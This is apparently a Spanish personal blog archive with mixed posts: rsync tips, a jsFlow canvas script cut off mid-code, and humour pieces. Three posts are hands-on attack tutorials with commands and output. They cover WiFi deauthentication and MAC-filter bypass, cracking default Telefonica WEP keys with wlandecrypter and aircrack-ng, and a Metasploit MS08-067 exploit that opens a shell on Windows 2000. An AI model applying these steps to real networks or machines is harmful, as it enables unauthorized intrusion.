Premio de consolación Pepinismo

Ha llegado el premio de consolación por haber participado en el concurso de la Nintendo DSi LL organizado por Pepinismo, fruto de haber (ellos) ganado a su vez el premio al mejor vídeo en el concurso Fit's.

Como muestra de agradecimiento hemos preparado este entrañable vídeo para Karawapo y Ai. No me cabe ninguna duda que sabrán apreciar nuestro buen gusto y destreza con las cámaras.

Antes de dar paso al vídeo he de decir que el verdadero ganador del premio debería haber sido @mortheroth, ya que fue él quien me inscribió en el concurso (yo estaba de viaje en aquel momento). De manera que he decidido darle uno de los 10 paquetes de chicles que contiene la caja. Todo un detalle por mi parte si además tenemos en cuenta que soy un devorador de chicles y chucherías en general.



Y el vídeo que les hizo ganadores del premio a Karawapo y Micaela:



01-04-2010 | Vida Social


El "Water saludador"

A los waters japoneses hay que darles de comer a parte. Su evolución se distanció de la nuestra hace ya muchos años, y mientras nosotros seguimos sin saber cómo usarlos sin salpicar por todo el baño, los japoneses los han perfeccionado y dotado de características hasta tal punto que el Sr. Roca es ya un miembro más de la familia.



Nota: Chiho me ha dicho que el botón de la hamburguesa doble y los del lamen son en realidad para subir y bajar las tazas del water. Exacto, sé lo que estáis pensando, ¡qué sabrá ella de waters de hombres!

27-02-2010 | Vida Social


"El modo vibrador está matando la música" (vía @palomisimo)

Cada día aparecen inventos que abren un abanico de nuevas posibilidades. Lo interesante es que a cualquiera de nosotros se nos puede ocurrir, de repente te pasa algo por la cabeza pero te dices -¡vaya tontería!. A veces en lugar de eso te haces la pregunta del millón: -¿y por qué no?, y ahí es donde nacen las cosas.

Es bueno para los dos



Hasta en las situaciones más raras se te puede ocurrir una buena idea, pero muchas veces o no te pilla en el momento adecuado o no sientes interés por convertirla en realidad. ¿O piensas que al inventor del Jes-Extender no le costó dejar lo que hacía en ese momento para ponerse a fabricar un alargador de penes?

Todo esto no lo digo porque me haya comprado una de esas máquinas o se me haya ocurrido algo especial, todo lo contrario, posiblemente vengo a enseñaros la mayor de las chorradas que he hecho hasta la fecha, pero eso sí, fruto de una de estas veces en que la idea surge en el momento oportuno, bueno no exactamente y ni si quiera se me ocurrió a mi, pero sí que apareció el día más apropiado y esa misma noche pude encontrarle un hueco para hacerla realidad.


La mayor chorrada jamas programada


Una tarde de principios, mediados o finales de los 90 cuando me pasaba días enteros programando en BASIC (cosa que antes me parecía normal y ahora un lujo para unos pocos, el programar todo el día, no el BASIC) se me ocurrió hacer un generador de frases aleatorias a partir de estructuras sencillas y varios puñados de frases en DATAs.

Fue entonces que la chorrada cobró vida y se empezaron a oír las primeras risas, carcajadas que hacían temblar las paredes en el caso de @konamiman.

Durante horas dejábamos correr el programa (un GOTO 10 bien hecho) para ver cual era la barbaridad más grande que podía salir de esas lineas.

En un momento de cordura y antes de morir asfixiado por la risa saqué fuerzas para hacer un CTRL+STOP y guardé el programa, SAVE "PALOMAS.BAS", en honor a la primera frase generada y que decía "Juanjo, te vi jugando con las palomas".

Hace un par de días, más de 10 años después y recordando algunas de las frases más famosas (y que incluso hoy seguimos usando) el amigo @ximosoft hizo la broma de versionarlo para twitter, y sin pensarlo me encontré en el asiento de atrás del coche dando de alta la cuenta desde el móvil para al llegar a casa darle al PHP.

El usuario @palomas ya estaba cogido, así que inspirado en las guías de obras y reformas y las redes sociales de comidas más famosas de Internet tuve la grandísima idea (ah, ¿que esto tampoco fue idea mia? vaya...) de llamarlo... @palomisimo!

palomisimo



Para la elaboración de @palomisimo ningún diccionario español ha resultado herido.

Cualquier parecido con la realidad es un puro BUG.


09-12-2009 | PHP


Problemas de un Rsync de EXT3 a FAT32

Tratando de hacer un backup con Rsync de una unidad en EXT3 a un disco duro USB en FAT32 he podido apreciar que en el backup siempre faltan archivos y que Rsync siempre copia de nuevo todo el contenido incluso cuando no ha habido cambios.

La razón de todo esto está relacionada con el formato FAT32. Por un lado en FAT no es posible tener en el mismo directorio dos carpetas con el mismo nombre. Esto tampoco es posible en EXT3 pero al ser esta case sensitive te permite tener una carpeta "pruebas" y otra "PRUEBAS" en el mismo directorio. El resultado al tratar de copiar ambas carpetas al disco FAT32 es que la primera se copia correctamente pero la segunda es excluida de la copia. Optar por nombres distintos en las carpetas es la solución además de una práctica recomendada.

En cuanto a que Rsync siempre hace un volcado completo incluso cuando los archivos no han cambiado, se debe a que en FAT32 para almacenar la fecha en la que se ha modificado un archivo se dispone de una precisión máxima de solo 2 segundos. Esto hace que no coincida la fecha exacta de EXT3 con la fecha aproximada de FAT32, y dado que Rsync se basa en la comparación de estas fechas para determinar si el archivo ha sido modificado o no desde la última copia, decide volver a hacer el backup.

Para estos casos Rsync cuenta con dos soluciones. La primera por medio del parámetro --size-only, con el que solo considerará que deben copiarse de nuevo aquellos archivos que han cambiado su tamaño, pero no su fecha. Y la segunda y más recomendable por medio del parámetro --modify-window=1, que permite especificar un margen de tolerancia entre fechas, en este caso de 1 segundo.

En tal caso quedaría como sigue:

$ rsync -av --modify-window=1 /misDatos /media/discoUSB/


En estos casos se recomienda que el disco duro USB esté en formato EXT3, con lo que no solo no hará falta nada de todo esto sino que además el backup mantendrá intactos los permisos.

En primer lugar necesitamos saber cual es el disco que hemos de formatear, usando el comando df veremos un listado de los discos montados.

$ df
S.ficheros         Bloques de 1K   Usado    Dispon Uso% Montado en
/dev/sda1            477770292 448053764   5447136  99% /
tmpfs                   511984         0    511984   0% /lib/init/rw
varrun                  511984       104    511880   1% /var/run
varlock                 511984         0    511984   0% /var/lock
udev                    511984      2768    509216   1% /dev
tmpfs                   511984      1116    510868   1% /dev/shm
lrm                     511984      2004    509980   1% /lib/modules/2.6.27-14-generic/volatile
/dev/sdc1            1464778368 385243648 1079534720  27% /media/discoUSB


En mi caso el disco duro USB es el último del listado (sdc1) discoUSB.

A continuación lo desmontamos.

$sudo umount /media/discoUSB


Y formateamos en EXT3

$sudo mkfs.ext3 /dev/sdc1

mke2fs 1.41.3 (12-Oct-2008)
Etiqueta del sistema de ficheros=
Tipo de SO: Linux
Tamaño del bloque=4096 (bitácora=2)
Tamaño del fragmento=4096 (bitácora=2)
91578368 nodos-i, 366284000 bloques
18314200 bloques (5.00%) reservados para el superusuario
Primer bloque de datos=0
Número máximo de bloques del sistema de ficheros=0
11179 bloque de grupos
32768 bloques por grupo, 32768 fragmentos por grupo
8192 nodos-i por grupo
Respaldo del superbloque guardado en los bloques:
    32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208,
    4096000, 7962624, 11239424, 20480000, 23887872, 71663616, 78675968,
    102400000, 214990848

Escribiendo las tablas de nodos-i: hecho                           
Creating journal (32768 blocks): hecho
Escribiendo superbloques y la información contable del sistema de ficheros: hecho

Este sistema de ficheros se revisará automáticamente cada 33 montajes o
180 días, lo que suceda primero.  Utilice tune2fs -c o -i para cambiarlo.


Finalmente personalizamos el nombre del disco, en mi caso lo llamaré "Backup"

sudo e2label /dev/sdc1 Backup


Hay que tener en cuenta que no todos los sistemas operativos pueden trabajar con unidades en EXT2 o 3 por lo que lamentablemente hay veces en que no queda más remedio que hacer uso de los trucos arriba indicados.

15-08-2009 | Linux


Campus Party 2009

¡Ya estamos aquí un año más!

Llegamos ayer acompañados con nuestros porerels ("portátiles" para los no entendidos) y ya estamos descargando wikipedias y llenando nuestros discos duros. Bueno, yo no. Es que la wikipedia ya la tengo.

Y como aquí se trata de ser productivo termino ya y os dejo con este vídeo resumen chiptunero de nuestro primer día.



28-02-2009 | Vida Social


Respuestas a preguntas típicas sobre WIFI

Bujero seguridad


Corriendo el riesgo de caer en la monotemática voy a volver a hablar de redes WIFI. Esta vez estoy aquí para responder brevemente a algunas de las preguntas que nos hemos hecho todos durante esos domingos de captura intensiva de paquetes.

¿Es posible capturar paquetes de distintos canales al mismo tiempo?

No, o al menos con tarjetas atheros. Creía haber leído que con tarjetas Intel sí lo era pero no he conseguido encontrar ningún sitio que lo confirme.

¿Cómo proceder con los ESSID ocultos?


Cuando ejecutamos Kismet o Airodump podemos ver como algunos APs aparecen con el ESSID oculto o en su lugar aparece la cadena "lenght: 0". En estos casos no está todo perdido. Hay dos maneras sencillas de obtener el ESSID.

La primera es (con aidorump-ng abierto) esperar a que un cliente se asocie al AP, lo que automáticamente desvelará el ESSID y lo mostrará en pantalla. La segunda pasa por forzar la desconexión de un cliente del AP y esperar a que se asocie de nuevo. Esto podemos conseguirlo con un ataque deauth. El siguiente ejemplo desconectaría del AP a un cliente.

aireplay-ng -0 5 -a 00:00:00:00:00:00 -c 00:00:00:00:00:00 ath0


donde la primera MAC correspondería al AP y la segunda al de un cliente conectado a ese mismo AP. Las MACs podemos verlas con airodump o usando el comando C si estamos utilizando Kismet.

¿Cómo actuar contra el filtrado por MAC?


Es una práctica habitual y poco efectiva definir una tabla de MACs en el router con la idea de limitar el acceso a la red a unos equipos concretos, pretendiendo así excluir al resto. En estos casos, la manera de entrar a la red es sencilla y consiste en abrir airodump y esperar a que un cliente se conecte al AP. Esto nos permitirá ver la MAC del cliente que se encuentra entre las permitidas. Tan solo quedará cambiarnos nuestra MAC por la del cliente y lanzarle a este un ataque deauth, con lo que él saldrá y entrarás tú.

Podemos cambiarnos la dirección MAC de la siguiente manera:

ifconfig ath0 down
ifconfig ath0 hw ether 00:00:0E:AD:BE:EF
ifconfig ath0 up


Con lo que nuestra MAC de ath0 cambiaría a 00:00:0E:AD:BE:EF.

¿Cómo utilizar Aircrack con varios archivos .CAP?


En los casos en que tengamos que obtener los paquetes en distintas sesiones podemos decirle a aircrack que los utilice todos juntos para resolver la contraseña.

aircrack-ng archivo1.cap archivo2.cap


Otra opción sería unificar todos los archivos en uno solo:

aircrack-ng -w archivoresultante.cap archivo1.cap archivo2.cap


¿Problemas al autenticarse?


Cuando necesitamos generar tráfico hemos de empezar por autenticarnos al AP (aireplay-ng -1 0...). Un problema común es no poder hacerlo porque el método de autenticación del AP es de clave compartida (Shared Key Authentication) en lugar de abierta (Open System Authentication). En estos casos necesitamos un archivo PRGA xor válido, pero vayamos por partes. En primer lugar hemos de averiguar si el método de autenticación es abierto o no, y esto lo hacemos ejecutamos airodump-ng y fijándonos en la columna AUTH. Si para el AP que estamos buscando la columna AUTH dice "OPN" es que nos encontramos ante una autenticación abierta, de lo contrario una de clave compartida.

En el caso de la clave compartida necesitaremos obtener un archivo PRGA xor válido, y esto lo logramos esperando a que un cliente se conecte al AP.

Para obtener el archivo hemos de, o bien tener ya airodump-ng en segundo plano guardando paquetes, o bien lanzarlo de la siguiente manera:

airodump-ng -c 6 ?bssid 00:00:00:00:00:00 -w clavecompartida ath0


Estos parámetros indicarán a airodump permanecer a la espera de la clave compartida en el canal 6, para el AP con MAC 00:00:00:00:00:00 y guardarla en un archivo con el nombre clavecompartida.xor

Podemos esperar a que un cliente se conecte al AP, o desconectar a uno existente. En el caso de optar por esto último lanzaremos el siguiente comando:

aireplay-ng -0 5 -a 00:00:00:00:00:00 -c 00:00:00:00:00:00 ath0


donde -0 indica deautenticación, 5 el número de peticiones de deautenticación a enviar, la primera MAC corresponde a la del AP, la segunda a la del cliente conectado y ath0 el nombre de nuestro interface.

Hecho esto le echamos un ojo a airodump y nos fijamos si la columna AUTH muestra ahora el valor "PSK", lo cual indicará que ya disponemos del archivo PRGA xor y podemos autenticarnos así:

aireplay-ng -1 0 -e WLAN_8K -y clavecompartida-00-00-00-00-00-00-00.xor -a 00:00:00:00:00:00 -h 00:00:00:00:00:00 ath0


donde -1 indica que se trata de una autenticación falsa, 0 que nos autenticamos una sola vez, clavecompartida-00... es el nombre del archivo xor que hemos generado, la primera MAC correspondería a la del AP y la segunda a la nuestra.

Algunas veces ocurre que el archivo xor generado no es correcto y hay que repetir el proceso hasta dar con uno válido.

¿Problemas reinyectando tráfico?


Algunos APs pueden saturarse cuando reinyectamos tráfico o incluso ignorarlo si lo enviamos demasiado rápido. En estos casos es preferible utilizar el parámetro -x de aireplay, especificándo un numero menor de paquetes por segundo. Recomendablemente entre 30 y 50.

Diferencias entre WPA1 y WPA2


En el 2001, dos años después de la aparición del procolo WEP (Wired Equivalent Privacy), se descubrieron las primeras vulnerabilidades y la Alianza Wi-Fi se puso a trabajar en un sustituto al protocolo, pero no fué hasta 2003 que lanzaron una primera revisión del nuevo protocolo WPA (Wifi Protected Access). En 2004 y ya finalizado se convirtió en el estandar 802.11i.

WPA es por lo tanto una versión algo reducida del estandard WPA2. Este protocolo se basa en el uso de una clave maestra fija y otra dinámica para cada sesión, recayendo la autenticación en el router. En ámbitos empresariales se usa un servidor, normalmente RADIUS, para la autenticación de usuarios.

¿Cómo restablecer la tarjeta de red?


Una manera rápida de restablecer la tarjeta de red después de haber parado interfaces, haberlos iniciado en modo monitor o modificado la MAC es reiniciándola con estos sencillos comandos.

modprobe -r ath_pci
modprobe ath_pci


Seguro que vosotros teneis vuestras propias técnicas y la respuesta a muchas otras preguntas. Si quereis compartirlas usando los comentarios del post os estaré eternamente agradecido :D

20-06-2009 | Linux


Ojo con las claves WIFI de Telefonica

binladen

Hace unos días en el taller práctico de seguridad WIFI organizado por AIB hemos podido conocer un sistema más para obtener las contraseñas WEP de los APs o routers de Telefonica. Me estoy refiriendo a los famosos WLAN_xx.

Muchos usuarios se sienten seguros con la clave que trae por defecto sus routers y en esta ocasión vamos a comprobar lo equivocados que pueden estar.

Las claves de estos APs se calculan por medio de un algoritmo que ha resultado ser más débil de lo que a Telefonica le hubiese gustado, o no, y es posible obtener un listado con todas las combinaciones posibles.

Este listado, que podemos obtener de manera sencilla con la aplicación wlandecrypter, y en combinación con aircrack, nos va a permitir dar con la clave a partir de unos pocos paquetes capturados. Pasemos a la demostración.

Instalar wlandecrypter



En primer lugar descargamos de cualquiera de las webs que recogen esta aplicación una copia para instalar.

wget http://www.fileden.com/files/2008/10/11/2138272/wlandecrypter-0.6.tar.gz
tar -zxvf wlandecrypter-0.6.tar.gz
cd wlandecrypter-0.6/
make
$cp wlandecrypter /usr/bin


Crear el diccionario



El diccionario o el listado de claves lo creamos a partir del nombre del AP y su dirección MAC. El nombre del AP es bien fácil de conocer ya que lo vemos directamente en el lístado de redes WIFI disponibles, y está formado por la cadena ´WLAN_´ seguido de dos caracteres.

Para conocer la dirección MAC podemos usar Kismet o Airodump-ng.

En el anterior post donde expliqué el proceso para obtener las claves WEP usé Kismet, sin embargo esta aplicación requiere configurarse previamente y supone una dificultad importante para muchos usuarios, por lo que esta vez lo haremos por medio de airodump-ng.

Empezamos por cofigurar nuestra tarjeta en modo monitor.

$airmon-ng stop ath0
Interface	Chipset		Driver
wifi0		Atheros		madwifi-ng
ath0		Atheros		madwifi-ng VAP (parent: wifi0) (VAP destroyed)

$airmon-ng start wifi0
Interface	Chipset		Driver
wifi0		Atheros		madwifi-ng
ath0		Atheros		madwifi-ng VAP (parent: wifi0) (monitor mode enabled)


...y ejecutamos airodump-ng para descubrir las redes con sus correspondientes direcciones MAC.

$airodump-ng ath0


Hecho esto veremos las redes WIFI a nuestro alrededor junto con la MAC y el tipo de encriptación de cada una de ellas.

Con la dirección MAC y el nombre del AP procedemos a crear la tabla de contraseñas con Wlandecrypter especificando ambos valores e indicando el nombre del fichero de contraseñas que generará.

$wlandecrypter 20:33:64:30:50:13 WLAN_K7 diccionario

wlandecrypter 0.6 - (c) 2006 nilp0inter2k6_at_gmail.com
------------>  Actualizado por *dudux  <------------
          http://www.seguridadwireless.net
 [+] BSSID: 20:33:64:30:50:13
 [+] Modelo: P-660HW-D1
 [+] ESSID: WLAN_K7
 [+] Fichero de claves: diccionario
 [+] Fichero guardado


Con esto ya tenemos creado un archivo de texto llamado "diccionario" y cuyo contenido son todas y cada una de las contraseñas posibles.

Capturar tráfico



Es el momento de capturar algunos paquetes de la red, para lo que usaremos de nuevo airodump-ng indicando esta vez la MAC y el nombre del archivo en el que queremos que almacene los paquetes.

$airodump-ng --bssid 00:13:49:95:A3:73 -w captura --channel 7 ath0


Una vez veamos que la columna #Data contempla algunos paquetes podremos interrumpir airodump. Un par de paquetes ya será suficiente.

CH  7 ][ Elapsed: 8 s ][ 2009-06-13 00:25                                         
                                                                                                             
 BSSID              PWR  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
20:33:64:30:50:13    8        7       47    0   7  54. WEP  WEP         WLAN_K7                             
                                                                                                             
 BSSID              STATION            PWR   Rate  Lost  Packets  Probes                                     
                                                                                                             
 22:35:12:41:12:23  00:2E:61:17:61:44   10  11-11   372       51


Obtener la contraseña WEP



Hemos creado la tabla de contraseñas con Wlandecrypter y capturado tráfico con airodump-ng, así que estamos en disposición de ejecutar aircrack para dar con la contraseña correcta.

Esta vez usaremos el parámetro -w de aircrack para especificar un diccionario, que no es otro que el archivo generado por wlandecrypter, y el parámetro -K, para que aircrack no trate de obtener la contraseña por heurística sino comparando cada paquete con las distintas claves posibles.

$aircrack-ng -w diccionario captura-01.cap -K
                 [00:00:32] Tested 48157 keys (got 22 IVs)
   KB    depth   byte(vote)
    0    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
    1    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
    2    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
    3    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
    4    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
    5    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
    6    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
    7    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
    8    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
    9    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
   10    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
   11    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
   12    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
     KEY FOUND! [ 1A:21:32:43:54:65:76:87:98:39:43:43:46 ] (ASCII: XXXXXXXXXXXXX )
	Decrypted correctly: 100%


Y ahí la tenemos. La clave del AP obtenida en cuestión de segundos (sí, la he ocultado a drede!).

Después de esto no deberías permitirte tener la contraseña por defecto de tu router ni un solo día más. Cambia el nombre del AP y utiliza WPA en lugar de WEP, con una contraseña larga, alfanumérica y que no corresponda a una palabra que pueda quedar recogida en un diccionario. Dormirás más tranquilo.

Nota: Imagen del chiste robada malament de Creabits.com

12-06-2009 | Linux


Hackeando como en las películas

War games



El título del post no es mio, es el que dieron en Blackhat las Vegas cuando presentaron la versión 2.2 de Metasploit, ¡y nada más lejos de la realidad!. Metasploit (ahora en su versión 3.3) es una potentísima a la vez que sencilla herramienta para explotar las vulnerabilidades de sistemas operativos y software en general.

Su uso se basa en escanear los puertos abiertos de un equipo, utilizarlos para explotar posibles fallos de seguridad y lograr así obtener una shell, crear usuarios (con permisos de administrador) o hasta un escritorio remoto.

Esta vez voy a llevar a cabo un ataque a modo de ejemplo contra un equipo con Windows 2000. El sistema operativo de la victima no es tan importante como pueda parecer, pues el éxito de la operación depende más de los puertos abiertos y de las vulnerabilidades que contenga la víctima. En este aspecto Metasploit es realmente eficaz ya que incorpora actualizaciones con frecuencia.

En primer lugar será necesario tener instalada la aplicación (aquí puedes ver cómo hacerlo) y conocer algunos conceptos básicos:

  • Exploit: Código o un proceso por el cual se consigue aprovechar una vulnerabilidad.
  • Payload: Código que se inyecta a la víctima por medio del exploit. Generalmente son pequeños programas en ensamblador que permiten ejecutar comandos, enviar o recibir archivos, habilitar shells, etc.
  • NOP: Permite ofuscar el código que enviamos a la víctima para no ser detectado por su software de seguridad.
  • Encoder: Al igual que NOP, dificulta la detección enviando en este caso el código codificado.


Identificando al protagonista



El protagonista de nuestra película se encuentra en algún punto de la red y vamos a descubrirlo escaneándola con NMAP. e indicando el rango de Ips.

juansa@compiuta:~$ nmap 192.168.1.1-255
Starting Nmap 4.62 ( http://nmap.org ) at 2009-06-02 22:37 CEST
Interesting ports on 192.168.1.1:
Not shown: 1710 filtered ports
PORT     STATE  SERVICE
20/tcp   closed ftp-data
21/tcp   closed ftp
23/tcp   closed telnet
80/tcp   open   http
1723/tcp open   pptp

Interesting ports on 192.168.1.102:
Not shown: 1713 closed ports
PORT    STATE SERVICE
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Interesting ports on 192.168.1.109:
Not shown: 1704 closed ports
PORT     STATE    SERVICE
135/tcp  open     msrpc
139/tcp  open     netbios-ssn
307/tcp  filtered unknown
315/tcp  filtered dpsi
445/tcp  open     microsoft-ds
507/tcp  filtered crs
817/tcp  filtered unknown
1025/tcp open     NFS-or-IIS
1400/tcp filtered cadkey-tablet
2048/tcp filtered dls-monitor
2301/tcp filtered compaqdiag
Nmap done: 255 IP addresses (3 hosts up) scanned in 135.113 seconds
juansa@compiuta:~$ 


Como puede apreciarse NMAP ha devuelto tres resultados. El primero (192.168.1.1) corresponde al router, el segundo es mi propio equipo (192.168.1.102) y el tercero nuestra víctima (192.168.1.109).

Curiosidad que sí viene al caso: nada mejor que instalar un Windows 2000 para tener de entrada nada menos que 11 puertos a la escucha. :D

De entre tanto puerto no vamos a necesitar más que uno. El puerto 445/tcp es bien sabido que tiene vulnerabilidades, y en este caso la víctima no ha instalado el parche correspondiente, por lo que ya tenemos todo lo que necesitamos para el siguiente paso.

Preparando el ataque



Ejecutamos Metasploit.

juansa@compiuta:~$ cd /opt/MSF/trunk/
juansa@compiuta:/opt/MSF/trunk$ ./msfconsole


Habiendo decidido el puerto queda por saber el exploit que usaremos. Consultando la documentación de Metasploit vemos que para el puerto 445/tcp existen varios exploits. También puede verse una lista de los exploits disponibles por medio del comando show exploits. En mi caso me quedaré con el siguiente: windows/smb/ms08_067_netapi.

msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > 


Ahora seleccionamos el payload que inyectaremos. Podemos ver los payloads compatibles con el exploit seleccionado con el comando show payloads.

msf exploit(ms08_067_netapi) > show payloads
Compatible payloads
===================
Name                                            Description                                                                  
----                                            -----------                                                                  
generic/debug_trap                              Generic x86 Debug Trap                                                       
generic/debug_trap/bind_ipv6_tcp                Generic x86 Debug Trap, Bind TCP Stager (IPv6)                               
generic/debug_trap/bind_nonx_tcp                Generic x86 Debug Trap, Bind TCP Stager (No NX Support)                      
generic/debug_trap/bind_tcp                     Generic x86 Debug Trap, Bind TCP Stager                                      
...
msf exploit(ms08_067_netapi) >

La lista es bien grande, así que solo he mostrado los tres primeros payloads. Seleccionaremos el payload windows/shell_bind_tcp, que nos abre una shell.

msf exploit(ms08_067_netapi) > set payload windows/shell_bind_tcp
payload => windows/shell_bind_tcp
msf exploit(ms08_067_netapi) >


Ahora nos queda ver el resto de parámetros necesarios antes de ejecutar el ataque. Para ello tenemos el comando show options

msf exploit(ms08_067_netapi) > show options
Module options:
Name     Current Setting  Required  Description                             
----     ---------------  --------  -----------                             
RHOST                     yes       The target address                      
RPORT    445              yes       Set the SMB service port                
SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)  
Payload options (windows/shell_bind_tcp):
Name      Current Setting  Required  Description                           
----      ---------------  --------  -----------                           
EXITFUNC  thread           yes       Exit technique: seh, thread, process  
LPORT     4444             yes       The local port                        
RHOST                      no        The target address                    
Exploit target:
Id  Name                 
--  ----                 
0   Automatic Targeting  
msf exploit(ms08_067_netapi) >


Podemos ver como de todos los parametros a introducir tan solo hace falta especificar uno: RHOST que como bien se indica corresponde a la IP de la víctima (the target address). Indiquémoslo.

msf exploit(ms08_067_netapi) > set RHOST 192.168.1.109
RHOST => 192.168.1.109
msf exploit(ms08_067_netapi) >


¡Ejecutando el ataque!



Victima identificada, parámetros establecidos... lo tenemos todo. Ya solo nos queda ejecutar el ataque. Mirad que fácil.

msf exploit(ms08_067_netapi) > exploit
[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows 2000  - lang:Spanish
[*] Selected Target: Windows 2000 Universal
[*] Triggering the vulnerability...
[*] Command shell session 1 opened (192.168.1.102:40535 -> 192.168.1.109:4444)
Microsoft Windows 2000 [Versión 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
C:\WINNT\system32>


Y aquí lo teneis, el shell de Windows 2000 a nuestra disposición!

Nota: Imagen del post robada malament de la web ScarletMidnight.com

02-06-2009 | Linux


jsFlow: Cover Flow para Javascript


Coverflow
Imagen capturada de jsFlow.


Buscando la manera de conseguir el efecto cover flow he encontrado desde aplicaciones en PHP y Javascript hasta tutoriales para hacerlo manualmente en Photoshop o Flash. En mi caso necesito obtener el cover flow de una imagen en tiempo real, por lo que he descartado cualquier método a golpe de ratón. Con flash cada vez me hablo menos y por otro lado dejarle la carga del proceso al servidor es algo que quería evitar, así que la única opción posible era Javascript.

Encontré este bonito script para generar el cover flow de cualquier imagen, pero al leerme el acuerdo de licencia (para una vez que lo hago...) se me quitaron las ganas de usarlo por sus restricciones.

Sin embargo le debo a ese acuerdo de licencia que en estos momentos pueda enseñaros mi propio Cover FLow para Javascript: jsFlow, el cual por supuesto sí va a poder usarse en cualquier web, independientemente de la cantidad de publicidad y/o pornografía que se recoja en ella, o de los trillones que facture anualmente, si se diera el caso.

jsFlow permite por medio de una sencilla llamada a un función obtener el efecto cover flow de una imagen. Su sintaxis es la siguiente:

jsFlow(idImage,reflection,light,angle,deep,imageSource)

  • idImage: ID de la imagen de la que queremos obtener su efecto cover flow.
  • Reflection: Expresado en pixels indica el tamaño vertical que tendrá el reflejo que proyecta la imagen.
  • Light: Indica el nivel de luz que queremos para el reflejo, donde 0 es el mínimo y 255 el máximo. Light es el equivalente al canal alpha o transparencia.
  • Angle: Expresado en grados permite indicar el ángulo que queremos aplicar, entre un rango de 0 a 180 grados.
  • Deep: Expresado en píxeles indica la profundidad. Cuanto mayor más pronunciado será el efecto de perspectiva.
  • imageSource: (opcional). Nos permite indicar el ID de una imagen distinta para tomarla como referencia.


Veamos algunos ejemplos



El siguiente script muestra jsFlow en funcionamiento. Pulsando sobre cada uno de los botones se ejecuta la función jsFlow variando el ángulo.





  • Left: jsFlow(´muestra´,50,100,25,100,´original´);
  • Center: jsFlow(´muestra´,50,100,0,0,´original´);
  • Right: jsFlow(´muestra´,50,100,155,100,´original´);


¿Cómo funciona jsFlow?

Para los más curiosos paso a explicar el modo de trabajo de jsFlow.

// Definimos la función jsFlow

function jsFlow(idImage,reflection,light,angle,deep,imageSource){

  /*
  Si no se ha especificado una imagen de origen alternativa (imageSource) usaremos la misma que haya en idImage.
  Cargamos en memoria la imagen, y creamos un canvas o lienzo que usaremos para trabajar la imagen.
  */
  imageSource=(!imageSource)?idImage:imageSource;
  var image = document.getElementById(imageSource);
  var reflexCanvas = document.createElement("canvas"); 
  var reflexCanvasContext = reflexCanvas.getContext("2d");
  
  /*
  Obtenemos el tamaño de la imagen y le asignamos el mismo a nuestro canvas haciéndolo más alto para que
  podamos dibujar el reflejo. 
  */
  var w = image.width;
  var h = image.height;
  reflexCanvas.width = w;
  reflexCanvas.height = h + reflection;
  
  /*
  Convertimos el parámetro angle expresado en grados a radianes y calculamos el ancho con el que veremos la imagen.
  */
  radianes = ((90+angle) * (Math.PI/180));
  w2 = Math.abs(parseInt(Math.sin(radianes)*w));

  /*
  Copiamos la imagen en el canvas, aplicamos la compresión tal, que nos de la imagen del ancho calculado anteriormente y obtenemos una matriz de los datos para poder trabajar la imagen.
  */
  reflexCanvasContext.drawImage(image,0,0,w,h,0,0,w2,h);
  var imageData = reflexCanvasContext.getImageData(0,0, w, h+reflection);

  /*
  Aplicamos el reflejo leyendo los píxeles de la parte inferior de la imagen y escribiéndolos bajo esta, respetando el color y aplicando el canal alfa correspondiente a la luz indicada en el parámetro light.
  En la matriz cada pixel viene expresado por 4 valores: Rojo, Verde, Azul y Alfa, por lo que multiplicamos por 4 para obtener el pixel de cada coordenada.
  */
   for (y = 0; y <= reflection; y++){
   	   for (x = 0; x <= w2; x++){	 				 
						 origen = (w*(h-y)+x)*4; // = ((h-y)*4)*w+(x*4)
						 destino = (w*(h+y)+x)*4; // = ((h+y)*4)*w+(x*4)

						 imageData.data[destino] = imageData.data[origen];
						 imageData.data[destino+1] = imageData.data[origen+1];
						 imageData.data[destino+2] = imageData.data[origen+2];
						 imageData.data[destino+3] = light-(y*light)/reflection;	   
						 }
  	   }
			
   /*
   Volcamos la matriz que hemos obtenido en el canvas.
   */
   reflexCanvasContext.putImageData(imageData,0,0);

   /*
   Sustituimos la imagen idImage por el canvas, que contiene la versión comprimida y con reflejo, manteniéndole el mismo Id.
   */	 
   document.getElementById(idImage).parentNode.replaceChild(reflexCanvas,document.getElementById(idImage));
   reflexCanvas.id = idImage;

   /*
   Creamos un nuevo canvas, esta vez para trabajar la perspectiva de la imagen.
   */
   var perspectiveCanvas = document.createElement("canvas"); 
   var perspectiveCanvasContext = perspectiveCanvas.getContext("2d");
	
   /*
   Asignamos al nuevo canvas el tamaño exacto para contener la imagen con el reflejo que habíamos calculado.
   */ 
   perspectiveCanvas.width = w2;
   perspectiveCanvas.height = h + reflection;

   /*
   Calculamos la posición del extremo opuesto de la imagen teniendo en cuenta el ángulo indicado.
   */
   h2 = Math.abs(parseInt (Math.cos(radianes) * deep));
   
   /*
   Aplicamos la perspectiva recorriendo la imagen horizontalmente y aplicando la reducción proporcinal de cada columna
   */
   for (x = 0; x <= w2; x++){
     	 crop=(x * h2) / w2;
	   	 size=h + reflection - crop;
			 pos=( angle > 90)?w2 - x:x;
   		 perspectiveCanvasContext.drawImage(reflexCanvas,pos,0,1,h+reflection,pos,crop/2,1,size);
	   	 }
	
   /*
   Sustituimos la imagen calculada por la original manteniéndole el mismo Id.
    */
